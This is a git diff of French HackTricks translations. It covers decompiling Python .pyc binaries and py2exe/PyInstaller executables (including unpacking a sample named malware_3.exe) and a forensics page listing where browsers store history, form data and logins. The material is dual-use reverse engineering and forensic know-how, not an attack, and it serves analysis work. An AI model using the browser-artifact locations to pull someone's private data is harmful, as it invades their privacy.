uncompyle6 binary.pyc > decompiled.py
|
uncompyle6 binary.pyc > decompiled.py
|
||||||
```
|
```
|
||||||
**Assurez-vous** que le binaire a l'**extension** "**.pyc**" (sinon, uncompyle6 ne fonctionnera pas)
|
**Assurez-vous** que le binaire a l'**extension** "**.pyc**" (sinon, uncompyle6 ne fonctionnera pas)
|
||||||
|
|
||||||
Lors de l'exécution de **uncompyle6**, vous pourriez rencontrer **les erreurs suivantes** :
|
Lors de l'exécution de **uncompyle6**, vous pourriez rencontrer les **erreurs suivantes**:
|
||||||
|
|
||||||
### Erreur : Numéro magique inconnu 227
|
### Erreur: Numéro magique inconnu 227
|
||||||
```bash
|
```bash
|
||||||
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
/kali/.local/bin/uncompyle6 /tmp/binary.pyc
|
||||||
Unknown magic number 227 in /tmp/binary.pyc
|
Unknown magic number 227 in /tmp/binary.pyc
|
||||||
```
|
```
|
||||||
Pour résoudre cela, vous devez **ajouter le bon nombre magique** au début du fichier généré.
|
Pour résoudre cela, vous devez **ajouter le bon numéro magique** au début du fichier généré.
|
||||||
|
|
||||||
**Les nombres magiques varient selon la version de python**, pour obtenir le nombre magique de **python 3.8**, vous devrez **ouvrir un terminal python 3.8** et exécuter :
|
**Les numéros magiques varient en fonction de la version de Python**, pour obtenir le numéro magique de **Python 3.8**, vous devrez **ouvrir un terminal Python 3.8** et exécuter :
|
||||||
```
|
```
|
||||||
>> import imp
|
>> import imp
|
||||||
>> imp.get_magic().hex()
|
>> imp.get_magic().hex()
|
||||||
'550d0d0a'
|
'550d0d0a'
|
||||||
```
|
```
|
||||||
Le **numéro magique** dans ce cas pour python3.8 est **`0x550d0d0a`**, ensuite, pour corriger cette erreur, vous devrez **ajouter** au **début** du **fichier .pyc** les octets suivants : `0x0d550a0d000000000000000000000000`
|
Le **nombre magique** dans ce cas pour python3.8 est **`0x550d0d0a`**, puis, pour corriger cette erreur, vous devrez **ajouter** au **début** du fichier **.pyc** les octets suivants : `0x0d550a0d000000000000000000000000`
|
||||||
|
|
||||||
**Une fois** que vous avez **ajouté** cet en-tête magique, **l'erreur devrait être corrigée.**
|
**Une fois** que vous avez **ajouté** cet en-tête magique, l'**erreur devrait être corrigée.**
|
||||||
|
|
||||||
Voici à quoi ressemble un **en-tête magique .pyc python3.8** correctement ajouté :
|
Voici à quoi ressemblera un **en-tête magique .pyc python3.8** correctement ajouté :
|
||||||
```bash
|
```bash
|
||||||
hexdump 'binary.pyc' | head
|
hexdump 'binary.pyc' | head
|
||||||
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
0000000 0d55 0a0d 0000 0000 0000 0000 0000 0000
|
||||||
|
@ -80,23 +80,23 @@ hexdump 'binary.pyc' | head
|
||||||
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
0000020 0700 0000 4000 0000 7300 0132 0000 0064
|
||||||
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
0000030 0164 006c 005a 0064 0164 016c 015a 0064
|
||||||
```
|
```
|
||||||
### Erreur : Erreurs de décompilation génériques
|
### Erreur : Décompilation des erreurs génériques
|
||||||
|
|
||||||
**D'autres erreurs** comme : `class 'AssertionError'>; co_code devrait être l'un des types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); est de type <class 'NoneType'>` peuvent apparaître.
|
**D'autres erreurs** telles que : `class 'AssertionError'>; co_code should be one of the types (<class 'str'>, <class 'bytes'>, <class 'list'>, <class 'tuple'>); is type <class 'NoneType'>` peuvent apparaître.
|
||||||
|
|
||||||
Cela signifie probablement que vous n'avez pas **ajouté correctement** le nombre magique ou que vous n'avez pas **utilisé** le **bon nombre magique**, donc **assurez-vous d'utiliser le bon** (ou essayez-en un nouveau).
|
Cela signifie probablement que vous n'avez pas ajouté correctement le nombre magique ou que vous n'avez pas **utilisé** le **bon nombre magique**, donc assurez-vous d'utiliser le bon (ou essayez-en un nouveau).
|
||||||
|
|
||||||
Consultez la documentation des erreurs précédentes.
|
Vérifiez la documentation de l'erreur précédente.
|
||||||
|
|
||||||
## Outil automatique
|
## Outil Automatique
|
||||||
|
|
||||||
L'outil [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) combine plusieurs outils disponibles pour la communauté qui **aident les chercheurs à déballer et décompiler des exécutables** écrits en python (py2exe et pyinstaller).
|
L'outil [https://github.com/countercept/python-exe-unpacker](https://github.com/countercept/python-exe-unpacker) assemble plusieurs outils disponibles pour la communauté qui **aident les chercheurs à désassembler et décompiler les exécutables** écrits en python (py2exe et pyinstaller).
|
||||||
|
|
||||||
Plusieurs règles YARA sont disponibles pour déterminer si l'exécutable est écrit en python (Ce script confirme également si l'exécutable est créé avec py2exe ou pyinstaller).
|
Plusieurs règles YARA sont disponibles pour déterminer si l'exécutable est écrit en python (ce script confirme également si l'exécutable est créé avec py2exe ou pyinstaller).
|
||||||
|
|
||||||
### ImportError : Nom de fichier : 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' n'existe pas
|
### ImportError: Nom du fichier : 'unpacked/malware\_3.exe/**pycache**/archive.cpython-35.pyc' n'existe pas
|
||||||
|
|
||||||
Actuellement, avec unpy2exe ou pyinstxtractor, le fichier de bytecode Python que nous obtenons peut ne pas être complet et, par conséquent, il **ne peut pas être reconnu par uncompyle6 pour obtenir le code source Python en clair**. Cela est causé par un numéro de version de bytecode Python manquant. Par conséquent, nous avons inclus une option de préfixe ; cela inclura un numéro de version de bytecode Python et aidera à faciliter le processus de décompilation. Lorsque nous essayons d'utiliser uncompyle6 pour décompiler le fichier .pyc, il retourne une erreur. Cependant, **une fois que nous utilisons l'option de préfixe, nous pouvons voir que le code source Python a été décompilé avec succès**.
|
Actuellement, avec unpy2exe ou pyinstxtractor, le fichier de bytecode Python que nous obtenons peut ne pas être complet et, par conséquent, **ne peut pas être reconnu par uncompyle6 pour obtenir le code source Python brut**. Cela est dû à l'absence d'un **numéro de version de bytecode Python**. Par conséquent, nous avons inclus une option de préfixe ; cela inclura un numéro de version de bytecode Python et aidera à faciliter le processus de décompilation. Lorsque nous essayons d'utiliser uncompyle6 pour décompiler le fichier .pyc, une erreur est renvoyée. Cependant, **une fois que nous utilisons l'option de préfixe, nous pouvons voir que le code source Python a été décompilé avec succès**.
|
||||||
```
|
```
|
||||||
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
test@test: uncompyle6 unpacked/malware_3.exe/archive.py
|
||||||
Traceback (most recent call last):
|
Traceback (most recent call last):
|
||||||
|
@ -114,7 +114,7 @@ test@test:python python_exe_unpack.py -p unpacked/malware_3.exe/archive
|
||||||
```
|
```
|
||||||
## Analyse de l'assemblage Python
|
## Analyse de l'assemblage Python
|
||||||
|
|
||||||
Si vous n'avez pas réussi à extraire le code "original" Python en suivant les étapes précédentes, alors vous pouvez essayer d'**extraire** l'**assemblage** (mais **il n'est pas très descriptif**, donc **essayez** d'extraire **à nouveau** le code original). Dans [cet article](https://bits.theorem.co/protecting-a-python-codebase/), j'ai trouvé un code très simple pour **désassembler** le binaire _.pyc_ (bonne chance pour comprendre le flux du code). Si le _.pyc_ provient de python2, utilisez python2 :
|
Si vous n'avez pas pu extraire le code Python "original" en suivant les étapes précédentes, vous pouvez essayer d'**extraire** l'**assemblage** Python (mais **il n'est pas très descriptif**, donc essayez d'extraire **à nouveau** le code original).Dans [ce lien](https://bits.theorem.co/protecting-a-python-codebase/), j'ai trouvé un code très simple pour **désassembler** le binaire _.pyc_ (bonne chance pour comprendre le flux du code). Si le _.pyc_ est de Python2, utilisez Python2 :
|
||||||
```bash
|
```bash
|
||||||
>>> import dis
|
>>> import dis
|
||||||
>>> import marshal
|
>>> import marshal
|
||||||
|
@ -163,9 +163,9 @@ Pour commencer, nous allons vous montrer comment les charges utiles peuvent êtr
|
||||||
|
|
||||||
### Pour créer une charge utile en utilisant py2exe :
|
### Pour créer une charge utile en utilisant py2exe :
|
||||||
|
|
||||||
1. Installez le paquet py2exe depuis [http://www.py2exe.org/](http://www.py2exe.org)
|
1. Installez le package py2exe depuis [http://www.py2exe.org/](http://www.py2exe.org)
|
||||||
2. Pour la charge utile (dans ce cas, nous l'appellerons hello.py), utilisez un script comme celui de la Figure 1. L'option "bundle_files" avec la valeur de 1 regroupera tout, y compris l'interpréteur Python, dans un seul exe.
|
2. Pour la charge utile (dans ce cas, nous l'appellerons hello.py), utilisez un script comme celui de la Figure 1. L'option "bundle\_files" avec la valeur de 1 regroupera tout, y compris l'interpréteur Python, dans un seul exe.
|
||||||
3. Une fois le script prêt, nous exécuterons la commande "python setup.py py2exe". Cela créera l'exécutable, tout comme dans la Figure 2.
|
3. Une fois le script prêt, nous émettrons la commande "python setup.py py2exe". Cela créera l'exécutable, comme dans la Figure 2.
|
||||||
```
|
```
|
||||||
from distutils.core import setup
|
from distutils.core import setup
|
||||||
import py2exe, sys, os
|
import py2exe, sys, os
|
||||||
|
@ -193,10 +193,10 @@ running py2exe
|
||||||
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
copying C:\Python27\lib\site-packages\py2exe\run.exe -> C:\Users\test\Desktop\test\dist\hello.exe
|
||||||
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
Adding python27.dll as resource to C:\Users\test\Desktop\test\dist\hello.exe
|
||||||
```
|
```
|
||||||
### Pour créer un payload avec PyInstaller :
|
### Pour créer une charge utile en utilisant PyInstaller :
|
||||||
|
|
||||||
1. Installez PyInstaller en utilisant pip (pip install pyinstaller).
|
1. Installez PyInstaller en utilisant pip (pip install pyinstaller).
|
||||||
2. Ensuite, nous exécuterons la commande « pyinstaller --onefile hello.py » (rappelons que 'hello.py' est notre payload). Cela regroupera tout dans un seul exécutable.
|
2. Ensuite, nous allons exécuter la commande "pyinstaller --onefile hello.py" (un rappel que 'hello.py' est notre charge utile). Cela regroupera tout en un exécutable.
|
||||||
```
|
```
|
||||||
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||||
108 INFO: PyInstaller: 3.3.1
|
108 INFO: PyInstaller: 3.3.1
|
||||||
|
@ -213,22 +213,22 @@ C:\Users\test\Desktop\test>pyinstaller --onefile hello.py
|
||||||
|
|
||||||
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
* [https://blog.f-secure.com/how-to-decompile-any-python-binary/](https://blog.f-secure.com/how-to-decompile-any-python-binary/)
|
||||||
|
|
||||||
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
<img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||||
|
|
||||||
Si vous êtes intéressé par une **carrière en hacking** et par hacker l'inviolable - **nous recrutons !** (_polonais courant écrit et parlé requis_).
|
Si vous êtes intéressé par une **carrière en piratage** et pirater l'impossible - **nous recrutons !** (_maîtrise du polonais à l'écrit et à l'oral requise_).
|
||||||
|
|
||||||
{% embed url="https://www.stmcyber.com/careers" %}
|
{% embed url="https://www.stmcyber.com/careers" %}
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -1,20 +1,19 @@
|
||||||
```markdown
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
|
||||||
Ici, vous pouvez trouver des astuces intéressantes pour des types de fichiers spécifiques et/ou des logiciels :
|
Ici, vous trouverez des astuces intéressantes pour des types de fichiers spécifiques et/ou des logiciels :
|
||||||
|
|
||||||
{% page-ref page=".pyc.md" %}
|
{% page-ref page=".pyc.md" %}
|
||||||
|
|
||||||
|
@ -40,15 +39,14 @@ Ici, vous pouvez trouver des astuces intéressantes pour des types de fichiers s
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PRs aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
```
|
|
||||||
|
|
|
@ -1,93 +1,93 @@
|
||||||
# Artéfacts de Navigateur
|
# Artéfacts du navigateur
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
\
|
\
|
||||||
Utilisez [**Trickest**](https://trickest.com/?utm_campaign=hacktrics\&utm_medium=banner\&utm_source=hacktricks) pour construire et **automatiser des workflows** grâce aux outils communautaires **les plus avancés**.\
|
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||||
Accédez-y dès aujourd'hui :
|
Accédez dès aujourd'hui :
|
||||||
|
|
||||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||||
|
|
||||||
## Artéfacts des Navigateurs <a href="#id-3def" id="id-3def"></a>
|
## Artéfacts des navigateurs <a href="#id-3def" id="id-3def"></a>
|
||||||
|
|
||||||
Quand nous parlons d'artéfacts de navigateur, nous faisons référence à l'historique de navigation, aux favoris, à la liste des fichiers téléchargés, aux données en cache, etc.
|
Lorsque nous parlons des artéfacts des navigateurs, nous parlons de l'historique de navigation, des favoris, de la liste des fichiers téléchargés, des données de cache, etc.
|
||||||
|
|
||||||
Ces artéfacts sont des fichiers stockés dans des dossiers spécifiques du système d'exploitation.
|
Ces artéfacts sont des fichiers stockés à l'intérieur de dossiers spécifiques dans le système d'exploitation.
|
||||||
|
|
||||||
Chaque navigateur stocke ses fichiers dans un emplacement différent des autres navigateurs et ils ont tous des noms différents, mais ils stockent tous (la plupart du temps) le même type de données (artéfacts).
|
Chaque navigateur stocke ses fichiers à un endroit différent des autres navigateurs et ils ont tous des noms différents, mais ils stockent tous (la plupart du temps) le même type de données (artéfacts).
|
||||||
|
|
||||||
Examinons les artéfacts les plus couramment stockés par les navigateurs.
|
Jetons un coup d'œil aux artéfacts les plus courants stockés par les navigateurs.
|
||||||
|
|
||||||
* **Historique de Navigation :** Contient des données sur l'historique de navigation de l'utilisateur. Peut être utilisé pour vérifier si l'utilisateur a visité des sites malveillants par exemple.
|
* **Historique de navigation :** Contient des données sur l'historique de navigation de l'utilisateur. Peut être utilisé pour suivre si l'utilisateur a visité des sites malveillants par exemple.
|
||||||
* **Données d'Autocomplétion :** Ce sont les données que le navigateur suggère en fonction de ce que vous recherchez le plus. Peut être utilisé en tandem avec l'historique de navigation pour obtenir plus d'informations.
|
* **Données d'autocomplétion :** Ce sont les données que le navigateur suggère en fonction de ce que vous recherchez le plus. Peut être utilisé en tandem avec l'historique de navigation pour obtenir plus d'informations.
|
||||||
* **Favoris :** Explicite.
|
* **Favoris :** Auto-explicatif.
|
||||||
* **Extensions et Add-ons :** Explicite.
|
* **Extensions et modules complémentaires :** Auto-explicatif.
|
||||||
* **Cache :** Lors de la navigation sur des sites web, le navigateur crée toutes sortes de données en cache (images, fichiers javascript, etc.) pour de nombreuses raisons. Par exemple, pour accélérer le temps de chargement des sites web. Ces fichiers en cache peuvent être une excellente source de données lors d'une enquête forensique.
|
* **Cache :** Lors de la navigation sur des sites Web, le navigateur crée toutes sortes de données de cache (images, fichiers JavaScript, etc.) pour de nombreuses raisons. Par exemple, pour accélérer le temps de chargement des sites Web. Ces fichiers de cache peuvent être une excellente source de données lors d'une enquête forensique.
|
||||||
* **Connexions :** Explicite.
|
* **Connexions :** Auto-explicatif.
|
||||||
* **Favicons :** Ce sont les petites icônes trouvées dans les onglets, les URL, les favoris, etc. Elles peuvent être utilisées comme une autre source pour obtenir plus d'informations sur le site web ou les endroits visités par l'utilisateur.
|
* **Favicons :** Ce sont les petits icônes trouvés dans les onglets, les URL, les favoris, etc. Ils peuvent être utilisés comme une autre source pour obtenir plus d'informations sur le site Web ou les endroits visités par l'utilisateur.
|
||||||
* **Sessions de Navigateur :** Explicite.
|
* **Sessions du navigateur :** Auto-explicatif.
|
||||||
* **Téléchargements :** Explicite.
|
* **Téléchargements :** Auto-explicatif.
|
||||||
* **Données de Formulaire :** Tout ce qui est tapé dans les formulaires est souvent stocké par le navigateur, de sorte que la prochaine fois que l'utilisateur saisit quelque chose dans un formulaire, le navigateur peut suggérer des données précédemment entrées.
|
* **Données de formulaire :** Tout ce qui est tapé dans les formulaires est souvent stocké par le navigateur, de sorte que la prochaine fois que l'utilisateur entre quelque chose dans un formulaire, le navigateur peut suggérer des données précédemment saisies.
|
||||||
* **Miniatures :** Explicite.
|
* **Miniatures :** Auto-explicatif.
|
||||||
* **Custom Dictionary.txt :** Mots ajoutés au dictionnaire par l'utilisateur.
|
* **Dictionnaire personnalisé.txt :** Mots ajoutés au dictionnaire par l'utilisateur.
|
||||||
|
|
||||||
## Firefox
|
## Firefox
|
||||||
|
|
||||||
Firefox crée le dossier des profils dans \~/_**.mozilla/firefox/**_ (Linux), dans **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\
|
Firefox crée le dossier des profils dans \~/_**.mozilla/firefox/**_ (Linux), dans **/Users/$USER/Library/Application Support/Firefox/Profiles/** (MacOS), _**%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\\**_ (Windows)_**.**_\
|
||||||
Dans ce dossier, le fichier _**profiles.ini**_ devrait apparaître avec le(s) nom(s) du ou des profil(s) utilisateur(s).\
|
À l'intérieur de ce dossier, le fichier _**profiles.ini**_ devrait apparaître avec le(s) nom(s) du(des) profil(s) utilisateur.\
|
||||||
Chaque profil a une variable "**Path**" avec le nom du dossier où ses données vont être stockées. Le dossier devrait être **présent dans le même répertoire où le \_profiles.ini**\_\*\* existe\*\*. S'il ne l'est pas, alors, probablement il a été supprimé.
|
Chaque profil a une variable "**Chemin**" avec le nom du dossier où ses données vont être stockées. Le dossier devrait être **présent dans le même répertoire que le \_profiles.ini**\_\*\* existent\*\*. S'il ne l'est pas, alors, probablement il a été supprimé.
|
||||||
|
|
||||||
Dans le dossier **de chaque profil** (_\~/.mozilla/firefox/\<ProfileName>/_) vous devriez pouvoir trouver les fichiers intéressants suivants :
|
À l'intérieur du dossier **de chaque profil** (_\~/.mozilla/firefox/\<NomProfil>/_) vous devriez pouvoir trouver les fichiers intéressants suivants :
|
||||||
|
|
||||||
* _**places.sqlite**_ : Historique (moz\_\_places), favoris (moz\_bookmarks), et téléchargements (moz\_\_annos). Sous Windows, l'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing_history_view.html) peut être utilisé pour lire l'historique dans _**places.sqlite**_.
|
* _**places.sqlite**_ : Historique (moz\_\_places), favoris (moz\_bookmarks) et téléchargements (moz\_\_annos). Sous Windows, l'outil [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html) peut être utilisé pour lire l'historique à l'intérieur de _**places.sqlite**_.
|
||||||
* Requête pour extraire l'historique : `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;`
|
* Requête pour extraire l'historique : `select datetime(lastvisitdate/1000000,'unixepoch') as visit_date, url, title, visit_count, visit_type FROM moz_places,moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id;`
|
||||||
* Notez qu'un type de lien est un nombre qui indique :
|
* Notez qu'un type de lien est un nombre qui indique :
|
||||||
* 1: L'utilisateur a suivi un lien
|
* 1 : L'utilisateur a suivi un lien
|
||||||
* 2: L'utilisateur a écrit l'URL
|
* 2 : L'utilisateur a saisi l'URL
|
||||||
* 3: L'utilisateur a utilisé un favori
|
* 3 : L'utilisateur a utilisé un favori
|
||||||
* 4: Chargé depuis un Iframe
|
* 4 : Chargé depuis un Iframe
|
||||||
* 5: Accédé via une redirection HTTP 301
|
* 5 : Accédé via une redirection HTTP 301
|
||||||
* 6: Accédé via une redirection HTTP 302
|
* 6 : Accédé via une redirection HTTP 302
|
||||||
